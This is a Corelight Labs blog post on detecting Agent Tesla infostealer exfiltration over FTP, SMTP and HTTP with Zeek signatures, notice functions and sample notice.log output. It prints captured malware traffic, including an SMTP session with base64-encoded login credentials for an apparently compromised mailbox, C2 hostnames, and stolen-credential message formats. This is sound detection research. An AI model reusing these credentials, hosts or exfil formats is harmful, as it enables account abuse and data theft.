Read the Gartner® Competitive Landscape: Network Detection and Response Report
Read the Gartner® Competitive Landscape: Network Detection and Response Report
START HERE
WHY CORELIGHT
SOLUTIONS
CORELIGHT LABS
Close your ransomware case with Open NDR
OVERVIEW
PRODUCTS
SERVICES
ALLIANCES
USE CASES
10 Considerations for Implementing an XDR Strategy
July 2, 2024 by Keith J. Jones
Welcome to the latest from Corelight Labs! This blog continues our tradition of picking a popular malware family from Any.Run and writing a detector for it! Trending consistently at #1 on Any.Run’s malware trends list, Agent Tesla uses multiple protocols to communicate with its C2 infrastructure, making it more difficult to detect robustly than a malware sample utilizing only one network protocol for its C2.
The behavior we’ll review here concerns samples sending information back to controllers via one-way traffic (“exfiltration”, or “exfil”). This is a tad different than the usual C2 command-and-control, which is bidirectional (the C2 server sends commands to the infected system, which sends back status and data). However, convention also applies the term C2 to exfil, so we’ll stick with it throughout this blog to stay consistent with prior discussions of this malware family. (Technically, Agent Tesla is classified as InfoStealer malware.)
According to Blackberry’s blog, there are four network protocols used for Agent Tesla’s C2: FTP, SMTP, HTTP, and Telegram. Our research of the public data at Any.Run confirms Blackberry’s findings; we also saw four C2 protocols.
You can download PCAPs of each C2 protocol at the following links:
We will discuss each C2 protocol in its own section below.
This was the first C2 protocol we discovered while browsing Any.Run. An example of an exfiltrated message (copied verbatim) from the first PCAP linked above uses a structured format we can search for:
Time: 03/07/2024 19:00:36<br>User Name: admin<br>Computer Name: USER-PC<br>OSFullName: Microsoft Windows 7 Professional <br>CPU: Intel(R) Core(TM) i5-6400 CPU @ 2.70GHz<br>RAM: 3071.49 MB<br><hr>Host: https://m.facebook.com/<br>Username: honey@pot.com<br>Password: honeypass356<br>Application: Chrome<br><hr>Host: https://m.facebook.com<br>Username: honey@pot.com<br>Password: honeypass356<br>Application: Firefox<br><hr>Host: 1.9.2...1.6.8...1...1<br>Username: honey@pot.com<br>Password: honeypass356<br>Application: Outlook<br><hr>
We can build a Zeek signature to detect the first three field names listed in the exfiltrated data from several samples we saw on Any.Run:
signature agenttesla-ftp-data {
ip-proto == tcp
payload /^Time:.*<br>User Name:.*<br>Computer Name:.*/
eval AgentTesla::agenttesla_ftp_match
}
Notice the signature must happen at the beginning of the connection and is signified with the caret, as this is unique to the FTP data transfer. When this FTP signature matches, it will run the following Zeek function to log a notice in notice.log:
# Signature match function for FTP
function agenttesla_ftp_match(state: signature_state, data: string): bool &is_used
{
local msg = "Potential AgentTesla C2 over FTP data with payload in the sub field.";
NOTICE([$note=AgentTesla::C2_Traffic_Observed, $msg=msg, $sub=data,
$conn=state$conn]);
return T;
}
1 Note that technically this caret is redundant because the signature payload must match from the beginning of the connection. We put the caret in here to clearly contrast the concepts in this FTP signature with the signature you’ll see in the next SMTP section.
The function to log a notice is “NOTICE” (see above). Zeek notices allow for a suppression interval, based on the “$identifier” field in the input record to the “NOTICE” function. In our example above, we did not use an “$identifier” value, so every matching instance is output to the notice.log file. Typically, authors who write detectors for CVE exploits and other non-malware-related detections will suppress on the orig_h and resp_h endpoint pair because the analyst usually only cares that an exploit was executed. In the case of malware analysis, we prefer to see all of the messages passed between the victim endpoints and the C2 infrastructure because, in many cases, we can decode/decrypt the payloads. Therefore, we do not suppress notices. Of course, we could create a new Zeek log to save this information, but there is some complexity involved with adding new logs, schemas, SIEMs, etc. when you go this route (a good topic for another time). Therefore, we use notice.log as our one and only log destination to save the exfiltrated payloads.
An example notice.log for this detection follows:
#separator \x09
#set_separator ,
#empty_field (empty)
#unset_field -
#path notice
#open 2024-06-10-21-01-38
#fields ts uid id.orig_h id.orig_p id.resp_h id.resp_p fuid file_mime_type file_desc proto note msg sub src dst p n peer_descr actions email_dest suppress_for remote_location.country_code remote_location.region remote_location.city remote_location.latitude remote_location.longitude
#types time string addr port addr port string string string enum enum string string addr addr port count string set[enum] set[string] interval string string string double double
1709838049.373142 CPhDKt12KQPUVbQz06 192.168.100.164 49210 143.95.79.226 44523 - - - tcp AgentTesla::C2_Traffic_Observed Potential AgentTesla C2 over FTP data with payload in the sub field. Time: 03/07/2024 19:00:36<br>User Name: admin<br>Computer Name: USER-PC<br>OSFullName: Microsoft Windows 7 Professional <br>CPU: Intel(R) Core(TM) i5-6400 CPU @ 2.70GHz<br>RAM: 3071.49 MB<br><hr>Host: https://m.facebook.com/<br>Username: honey@pot.com<br>Password: honeypass356<br>Application: Chrome<br><hr>Host: https://m.facebook.com<br>Username: honey@pot.com<br>Password: honeypass356<br>Application: Firefox<br><hr>Host: 1\x009\x002\x00.\x001\x006\x008\x00.\x001\x00.\x001<br>Username: honey@pot.com<br>Password: honeypass356<br>Application: Outlook<br><hr> 192.168.100.164 143.95.79.226 44523 - - Notice::ACTION_LOG (empty) 3600.000000 - - - - -
#close 2024-06-10-21-01-38
The source, destination, and exfiltrated message are listed above in bold in the log.
For the next protocol, SMTP, Agent Tesla uses a similar message structure, which allows us to write another Zeek signature.
According to Blackberry, Sophos, and McAfee, SMTP appears to be the most widely used protocol for Agent Tesla’s C2 because it requires the least amount of work and the most security for the malware author. In the FTP example, the attacker needs an FTP server available, which could be taken down by law enforcement. But with SMTP, the malware only needs a compromised email address to exfiltrate the data.
We found the same Agent Tesla message format used in FTP pushed across an SMTP session, such as in this example from the third Any.Run sample linked at the beginning of this blog:
220-sg2plcpnl0242.prod.sin2.secureserver.net ESMTP Exim 4.96.2 #2 Tue, 04 Jun 2024 06:16:43 -0700
220-We do not authorize the use of this system to transport unsolicited,
220 and/or bulk e-mail.
EHLO User-PC
250-sg2plcpnl0242.prod.sin2.secureserver.net Hello User-PC [45.88.97.161]
250-SIZE 52428800
250-8BITMIME
250-PIPELINING
250-PIPECONNECT
250-AUTH PLAIN LOGIN
250-STARTTLS
250 HELP
AUTH login c2hpcHBpbmdAb2NlYW5za3lsb2dpc3RpY3MuaW4=
334 UGFzc3dvcmQ6
U2hpcHBpbmdAMjI0NTU0
235 Authentication succeeded
MAIL FROM:<shipping@oceanskylogistics.in>
250 OK
RCPT TO:<bkhin.supply@gmail.com>
250 Accepted
DATA
354 Enter message, ending with "." on a line by itself
MIME-Version: 1.0
From: shipping@oceanskylogistics.in
To: bkhin.supply@gmail.com
Date: 4 Jun 2024 14:16:45 +0100
Subject: PW_admin/USER-PC
Content-Type: text/html; charset=us-ascii
Content-Transfer-Encoding: quoted-printable
Time: 06/04/2024 14:16:41<br>User Name: admin<br>Computer Name: U=
SER-PC<br>OSFullName: Microsoft Windows 7 Professional <br>CPU: I=
ntel(R) Core(TM) i5-6400 CPU @ 2.70GHz<br>RAM: 3071.49 MB<br>IP A=
ddress: <br><hr>Host: https://m.facebook.com/<br>Username: honey@=
pot.com<br>Password: honeypass356<br>Application: Chrome<br><hr>H=
ost: https://m.facebook.com<br>Username: honey@pot.com<br>Passwor=
d: honeypass356<br>Application: Firefox<br><hr>Host: 1=009=002=00=
..=001=006=008=00.=001=00.=001<br>Username: honey@pot.com<br>Passw=
ord: honeypass356<br>Application: Outlook<br><hr>
.
250 OK id=1sEU1t-004oSu-0d
We’ve listed the exfiltrated message in bold, above. Notice it is the same message format as the FTP example. We will use a Zeek signature that is similar to the FTP example, but since the Agent Tesla message can come later in an SMTP session, we do not anchor the regular expression to the beginning of the connection:
signature agenttesla-generic {
ip-proto == tcp
payload /.+Time:.* User Name:.* Computer Name:.*/
eval AgentTesla::agenttesla_match
}
Notice how the “.+” in the regular expression detects the exfiltrated message anywhere but at the beginning of the connection. When the signature above is detected, the following Zeek function runs to generate a notice in notice.log:
# Signature match function for SMTP/Generic
function agenttesla_match(state: signature_state, data: string): bool &is_used
{
local msg = "Potential AgentTesla C2 with payload in the sub field.";
# Do not suppress notices.
NOTICE([$note=AgentTesla::C2_Traffic_Observed, $msg=msg, $sub=data,
$conn=state$conn]);
return T;
}
An example notice.log is as follows:
#separator \x09
#set_separator ,
#empty_field (empty)
#unset_field -
#path notice
#open 2024-06-11-16-14-38
#fields ts uid id.orig_h id.orig_p id.resp_h id.resp_p fuid file_mime_type file_desc proto note msg sub src dst p n peer_descr actions email_dest suppress_for remote_location.country_code remote_location.region remote_location.city remote_location.latitude remote_location.longitude
#types time string addr port addr port string string string enum enum string string addr addr port count string set[enum] set[string] interval string string string double double
1717511243.494718 CAvUKGaEgLlR4i6t2 192.168.100.122 49713 208.91.198.143 587 - - - tcp AgentTesla::C2_Traffic_Observed Potential AgentTesla C2 with payload in the sub field. Time: 06/04/2024 14:27:19<br>User Name: admin<br>Computer Name: D=\x0d\x0aESKTOP-JGLLJLD<br>OSFullName: Microsoft Windows 10 Pro<br>CPU: In=\x0d\x0atel(R) Core(TM) i5-6400 CPU @ 2.70GHz<br>RAM: 4090.45 MB<br>IP Ad=\x0d\x0adress: 181.214.173.110<br><hr>Host: https://google.com<br>Usernam=\x0d\x0ae: admin<br>Password: admin<br>Application: Firefox<br><hr>Host: =\x0d\x0aWindowsLive:target=3Dvirtualapp/didlogical=00<br>Username: 02lcqq=\x0d\x0ajzqzglscqx=00<br>Password: <br>Application: Windows Credential<br=\x0d\x0a><hr> 192.168.100.122 208.91.198.143 587 - - Notice::ACTION_LOG (empty) 3600.000000 - - - - -
#close 2024-06-11-16-14-38
Next, we will look at HTTP, a protocol where Agent Tesla diverts from the message structure we saw in the FTP and SMTP examples.
The fourth Any.Run PCAP linked at the beginning of this blog has an Agent Tesla HTTP C2 session within it, as follows:
POST /sew/inc/10a5031d37bc79.php HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0
Content-Type: application/x-www-form-urlencoded
Host: originwealth.ydns.eu
Content-Length: 460
Expect: 100-continue
Connection: Keep-Alive
HTTP/1.1 100 Continue
p=r8VPEPG%2BIsO5/Zrs%2BhcieY3AKFwIzFYeqCF6JUBb55GWeL2RfzoimcSDkWbxLRNDn9tbvINvCrNN4JDbi9kLVc5o33QxGbQWVMyGTNf4l4jkLJnBMyk6EDxTHjyqN8t%2Bo1qnXO90x0po6/c4iwSQbsUyAmemvk1Cvpnj6yMYbtNzLDQZ2BDNacVckhB%2BwY8PaaKa/GfMNixqt17V74Tuhkq78tzr%2BgMhy1Azs6gZF/%2B0XP7CYTHUXmZREoLEytBHyyhQUUqA3Tk11g9j8HWZxR1RJ2H2pf%2Bh4XCFxMrdHlg8Ux48qjfLfqNap1zvdMdKaOv3OIsEkG7FMgJnpr5NQr6Z4%2BsjGG7Tcyw0GdgQzWmF7tfzvlwrHd3Xh/tJ7WdI9fsDg21cZKm3LH9hI1ELh9%2BCkNsVqkDs34KQ2xWqQOx8SxirD439xQ==HTTP/1.1 200 OK
Date: Sun, 03 Mar 2024 22:57:57 GMT
Server: Apache/2.4.53 (Win64) OpenSSL/1.1.1n PHP/7.4.29
X-Powered-By: PHP/7.4.29
Content-Length: 50
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
[["Firefox","https://google.com","admin","admin"]]
Red signifies the data transferred from the client to the server, and blue represents the data transferred from the server to the client. Agent Tesla uses an HTTP form in the session above, and the structure of the exfiltrated message is:
p=<SOME_LONG_BASE64_STRING>
Base64 strings contain the following encoded characters: A-Z, a-z, +, and /. Here, the plus sign is encoded as %2B in the HTTP data. Therefore, we can search for this HTTP form C2 with the following signature:
signature agenttesla-http {
ip-proto == tcp
payload /^POST .*\x0d\x0a\x0d\x0ap=([A-Za-z0-9\/]|%2B){4}{75,}((([A-Za-z0-9\/]|%2B){3}=)|(([A-Za-z0-9\/]|%2B){2}==))?/
eval AgentTesla::agenttesla_http_match
}
The following Zeek function runs every time this signature is matched:
# Signature match function for HTTP
function agenttesla_http_match(state: signature_state, data: string): bool &is_used
{
local msg = "Potential AgentTesla C2 over HTTP with payload in the sub field.";
# Do not suppress notices.
NOTICE([$note=AgentTesla::C2_Traffic_Observed, $msg=msg, $sub=data,
$conn=state$conn]);
return T;
}
The function above generates the notice.log below:
#separator \x09
#set_separator ,
#empty_field (empty)
#unset_field -
#path notice
#open 2024-06-11-16-14-37
#fields ts uid id.orig_h id.orig_p id.resp_h id.resp_p fuid file_mime_type file_desc proto note msg sub src dst p n peer_descr actions email_dest suppress_for remote_location.country_code remote_location.region remote_location.city remote_location.latitude remote_location.longitude
#types time string addr port addr port string string string enum enum string string addr addr port count string set[enum] set[string] interval string string string double double
1709506677.204658 CCk2V03QgWwIurU3f 192.168.100.134 49754 78.41.139.12 80 - - - tcp AgentTesla::C2_Traffic_Observed Potential AgentTesla C2 over HTTP with payload in the sub field. p=r8VPEPG%2BIsO5/Zrs%2BhcieY3AKFwIzFYeqCF6JUBb55GWeL2RfzoimcSDkWbxLRNDn9tbvINvCrNN4JDbi9kLVc5o33QxGbQWVMyGTNf4l4jkLJnBMyk6EDxTHjyqN8t%2Bo1qnXO90x0po6/c4iwSQbsUyAmemvk1Cvpnj6yMYbtNzLDQZ2BDNacVckhB%2BwY8PaaKa/GfMNixqt17V74Tuhkq78tzr%2BgMhy1Azs6gZF/%2B0XP7CYTHUXmZREoLEytBHyyhQUUqA3Tk11g9j8HWZxR1RJ2H2pf%2Bh4XCFxMrdHlg8Ux48qjfLfqNap1zvdMdKaOv3OIsEkG7FMgJnpr5NQr6Z4%2BsjGG7Tcyw0GdgQzWmF7tfzvlwrHd3Xh/tJ7WdI9fsDg21cZKm3LH9hI1ELh9%2BCkNsVqkDs34KQ2xWqQOx8SxirD439xQ== 192.168.100.134 78.41.139.12 80 - - Notice::ACTION_LOG (empty) 3600.000000 - - - - -
#close 2024-06-11-16-14-37
The data appears to be encrypted inside base64, so decoding the base64 results is not immediately helpful to the incident responder without a decryption key.
The last protocol we know Agent Tesla to use for C2 is Telegram, a widely used messaging service. Since all of the data is exfiltrated over HTTPS to Telegram’s API servers, it is difficult, if not impossible, to tell AgentTesla C2 traffic apart from benign Telegram messages.
We checked the JA3 value of Agent Tesla against JA3 values we found logged on a real university network and determined the JA3 value could not be used as part of the detector because many other benign connections would match, too. Today, Telegram is the most difficult-to-detect C2 method in AgentTesla.
We were able to detect AgentTesla C2 in three out of four protocols we know it to use. FTP and SMTP C2 were very similar Zeek signature detections, while HTTP required us to write a slightly longer signature to detect the base64 data.
If you would like to install the source code discussed throughout this blog, you can do so from the following link:
Tagged With: Corelight, NDR, malware, malware detection, featured, Agent Tesla